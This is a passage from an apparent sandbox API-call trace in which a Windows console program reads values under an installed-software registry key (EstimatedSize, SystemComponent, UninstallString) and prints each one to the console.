(in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x26ac, pcbData=0x29f780*=0x4) returned 0x0 [0150.476] __iob_func () returned 0x7fefd702a80 [0150.476] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.476] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.476] _fileno (_File=0x7fefd702ab0) returned 1 [0150.476] _errno () returned 0x204bb0 [0150.476] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.476] _errno () returned 0x204bb0 [0150.476] GetFileType (hFile=0x50) returned 0x1 [0150.476] lstrlenW (lpString=" ") returned 4 [0150.476] GetConsoleOutputCP () returned 0x1b5 [0150.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.476] GetConsoleOutputCP () returned 0x1b5 [0150.477] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.477] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.477] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.477] lstrlenW (lpString="EstimatedSize") returned 13 [0150.477] __iob_func () returned 0x7fefd702a80 [0150.477] _fileno (_File=0x7fefd702ab0) returned 1 [0150.477] _errno () returned 0x204bb0 [0150.477] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.477] _errno () returned 0x204bb0 [0150.477] GetFileType (hFile=0x50) returned 0x1 [0150.477] lstrlenW (lpString="EstimatedSize") returned 13 [0150.477] GetConsoleOutputCP () returned 0x1b5 [0150.477] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.477] GetConsoleOutputCP () returned 0x1b5 [0150.477] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0150.477] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.477] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.477] __iob_func () returned 0x7fefd702a80 [0150.477] _fileno (_File=0x7fefd702ab0) returned 1 [0150.477] _errno () returned 0x204bb0 [0150.477] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.477] _errno () returned 0x204bb0 [0150.477] GetFileType (hFile=0x50) returned 0x1 [0150.477] lstrlenW (lpString=" ") returned 4 [0150.478] GetConsoleOutputCP () returned 0x1b5 [0150.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.478] GetConsoleOutputCP () returned 0x1b5 [0150.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.478] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.478] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.478] __iob_func () returned 0x7fefd702a80 [0150.478] _fileno (_File=0x7fefd702ab0) returned 1 [0150.478] _errno () returned 0x204bb0 [0150.478] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.478] _errno () returned 0x204bb0 [0150.478] GetFileType (hFile=0x50) returned 0x1 [0150.478] lstrlenW (lpString="REG_DWORD") returned 9 [0150.478] GetConsoleOutputCP () returned 0x1b5 [0150.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.478] GetConsoleOutputCP () returned 0x1b5 [0150.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.478] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.478] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.478] __iob_func () returned 0x7fefd702a80 [0150.478] _fileno (_File=0x7fefd702ab0) returned 1 [0150.479] _errno () returned 0x204bb0 [0150.479] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.479] _errno () returned 0x204bb0 [0150.479] GetFileType (hFile=0x50) returned 0x1 [0150.479] lstrlenW (lpString=" ") returned 4 [0150.479] GetConsoleOutputCP () returned 0x1b5 [0150.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.479] GetConsoleOutputCP () returned 0x1b5 [0150.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.479] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.479] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.479] __iob_func () returned 0x7fefd702a80 [0150.479] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.479] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x26ac") returned 6 [0150.479] _fileno (_File=0x7fefd702ab0) returned 1 [0150.479] _errno () returned 0x204bb0 [0150.479] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.479] _errno () returned 0x204bb0 [0150.479] GetFileType (hFile=0x50) returned 0x1 [0150.479] lstrlenW (lpString="0x26ac") returned 6 [0150.479] GetConsoleOutputCP () returned 0x1b5 [0150.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x26ac", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.479] GetConsoleOutputCP () returned 0x1b5 [0150.480] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x26ac", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x26ac", lpUsedDefaultChar=0x0) returned 6 [0150.480] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.480] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.480] __iob_func () returned 0x7fefd702a80 [0150.480] _fileno (_File=0x7fefd702ab0) returned 1 [0150.480] _errno () returned 0x204bb0 [0150.480] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.480] _errno () returned 0x204bb0 [0150.480] GetFileType (hFile=0x50) returned 0x1 [0150.480] lstrlenW (lpString="\n") returned 1 [0150.480] GetConsoleOutputCP () returned 0x1b5 [0150.480] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.480] GetConsoleOutputCP () returned 0x1b5 [0150.480] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.480] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.480] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.480] GetProcessHeap () returned 0x3c0000 [0150.480] GetProcessHeap () returned 0x3c0000 [0150.480] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.480] GetProcessHeap () returned 0x3c0000 [0150.480] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.480] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.480] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.481] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.481] GetProcessHeap () returned 0x3c0000 [0150.481] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.481] GetProcessHeap () returned 0x3c0000 [0150.481] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.481] GetProcessHeap () returned 0x3c0000 [0150.481] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.481] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.481] __iob_func () returned 0x7fefd702a80 [0150.481] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.481] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.481] _fileno (_File=0x7fefd702ab0) returned 1 [0150.481] _errno () returned 0x204bb0 [0150.481] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.481] _errno () returned 0x204bb0 [0150.481] GetFileType (hFile=0x50) returned 0x1 [0150.481] lstrlenW (lpString=" ") returned 4 [0150.481] GetConsoleOutputCP () returned 0x1b5 [0150.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.481] GetConsoleOutputCP () returned 0x1b5 [0150.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.481] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.481] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.481] lstrlenW (lpString="SystemComponent") returned 15 [0150.481] __iob_func () returned 0x7fefd702a80 [0150.481] _fileno (_File=0x7fefd702ab0) returned 1 [0150.481] _errno () returned 0x204bb0 [0150.481] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.481] _errno () returned 0x204bb0 [0150.482] GetFileType (hFile=0x50) returned 0x1 [0150.482] lstrlenW (lpString="SystemComponent") returned 15 [0150.482] GetConsoleOutputCP () returned 0x1b5 [0150.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.482] GetConsoleOutputCP () returned 0x1b5 [0150.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0150.482] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.482] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.482] __iob_func () returned 0x7fefd702a80 [0150.482] _fileno (_File=0x7fefd702ab0) returned 1 [0150.482] _errno () returned 0x204bb0 [0150.482] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.482] _errno () returned 0x204bb0 [0150.482] GetFileType (hFile=0x50) returned 0x1 [0150.482] lstrlenW (lpString=" ") returned 4 [0150.482] GetConsoleOutputCP () returned 0x1b5 [0150.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.482] GetConsoleOutputCP () returned 0x1b5 [0150.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.482] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.482] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.483] __iob_func () returned 0x7fefd702a80 [0150.483] _fileno (_File=0x7fefd702ab0) returned 1 [0150.483] _errno () returned 0x204bb0 [0150.483] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.483] _errno () returned 0x204bb0 [0150.483] GetFileType (hFile=0x50) returned 0x1 [0150.483] lstrlenW (lpString="REG_DWORD") returned 9 [0150.483] GetConsoleOutputCP () returned 0x1b5 [0150.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.483] GetConsoleOutputCP () returned 0x1b5 [0150.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.483] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.483] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.483] __iob_func () returned 0x7fefd702a80 [0150.483] _fileno (_File=0x7fefd702ab0) returned 1 [0150.483] _errno () returned 0x204bb0 [0150.483] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.483] _errno () returned 0x204bb0 [0150.483] GetFileType (hFile=0x50) returned 0x1 [0150.483] lstrlenW (lpString=" ") returned 4 [0150.483] GetConsoleOutputCP () returned 0x1b5 [0150.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.483] GetConsoleOutputCP () returned 0x1b5 [0150.484] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.484] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.484] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.484] __iob_func () returned 0x7fefd702a80 [0150.484] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.484] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.484] _fileno (_File=0x7fefd702ab0) returned 1 [0150.484] _errno () returned 0x204bb0 [0150.484] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.484] _errno () returned 0x204bb0 [0150.484] GetFileType (hFile=0x50) returned 0x1 [0150.484] lstrlenW (lpString="0x1") returned 3 [0150.484] GetConsoleOutputCP () returned 0x1b5 [0150.484] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.484] GetConsoleOutputCP () returned 0x1b5 [0150.484] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.484] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.484] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.484] __iob_func () returned 0x7fefd702a80 [0150.484] _fileno (_File=0x7fefd702ab0) returned 1 [0150.484] _errno () returned 0x204bb0 [0150.484] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.484] _errno () returned 0x204bb0 [0150.484] GetFileType (hFile=0x50) returned 0x1 [0150.485] lstrlenW (lpString="\n") returned 1 [0150.485] GetConsoleOutputCP () returned 0x1b5 [0150.485] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.485] GetConsoleOutputCP () returned 0x1b5 [0150.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.491] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.491] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.492] GetProcessHeap () returned 0x3c0000 [0150.492] GetProcessHeap () returned 0x3c0000 [0150.492] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.492] GetProcessHeap () returned 0x3c0000 [0150.492] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.492] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.492] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.492] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.492] GetProcessHeap () returned 0x3c0000 [0150.492] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.492] GetProcessHeap () returned 0x3c0000 [0150.492] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.492] GetProcessHeap () returned 0x3c0000 [0150.492] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.492] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", pcbData=0x29f780*=0x6a) returned 0x0 [0150.492] __iob_func () returned 0x7fefd702a80 [0150.492] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.492] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.492] _fileno (_File=0x7fefd702ab0) returned 1 [0150.492] _errno () returned 0x204bb0 [0150.492] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.492] _errno () returned 0x204bb0 [0150.492] GetFileType (hFile=0x50) returned 0x1 [0150.492] lstrlenW (lpString=" ") returned 4 [0150.492] GetConsoleOutputCP () returned 0x1b5 [0150.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.493] GetConsoleOutputCP () returned 0x1b5 [0150.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.493] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.493] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.493] lstrlenW (lpString="UninstallString") returned 15 [0150.493] __iob_func () returned 0x7fefd702a80 [0150.493] _fileno (_File=0x7fefd702ab0) returned 1 [0150.493] _errno () returned 0x204bb0 [0150.493] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.493] _errno () returned 0x204bb0 [0150.493] GetFileType (hFile=0x50) returned 0x1 [0150.493] lstrlenW (lpString="UninstallString") returned 15 [0150.493] GetConsoleOutputCP () returned 0x1b5 [0150.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.493] GetConsoleOutputCP () returned 0x1b5 [0150.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0150.493] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.493] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.494] __iob_func () returned 0x7fefd702a80 [0150.494] _fileno (_File=0x7fefd702ab0) returned 1 [0150.494] _errno () returned 0x204bb0 [0150.494] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.494] _errno () returned 0x204bb0 [0150.494] GetFileType (hFile=0x50) returned 0x1 [0150.494] lstrlenW (lpString=" ") returned 4 [0150.494] GetConsoleOutputCP () returned 0x1b5 [0150.494] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.494] GetConsoleOutputCP () returned 0x1b5 [0150.494] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.494] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.494] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.494] __iob_func () returned 0x7fefd702a80 [0150.494] _fileno (_File=0x7fefd702ab0) returned 1 [0150.494] _errno () returned 0x204bb0 [0150.494] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.494] _errno () returned 0x204bb0 [0150.494] GetFileType (hFile=0x50) returned 0x1 [0150.494] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.494] GetConsoleOutputCP () returned 0x1b5 [0150.494] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.495] GetConsoleOutputCP () returned 0x1b5 [0150.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.495] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.495] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.495] __iob_func () returned 0x7fefd702a80 [0150.495] _fileno (_File=0x7fefd702ab0) returned 1 [0150.495] _errno () returned 0x204bb0 [0150.495] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.495] _errno () returned 0x204bb0 [0150.495] GetFileType (hFile=0x50) returned 0x1 [0150.495] lstrlenW (lpString=" ") returned 4 [0150.495] GetConsoleOutputCP () returned 0x1b5 [0150.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.495] GetConsoleOutputCP () returned 0x1b5 [0150.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, 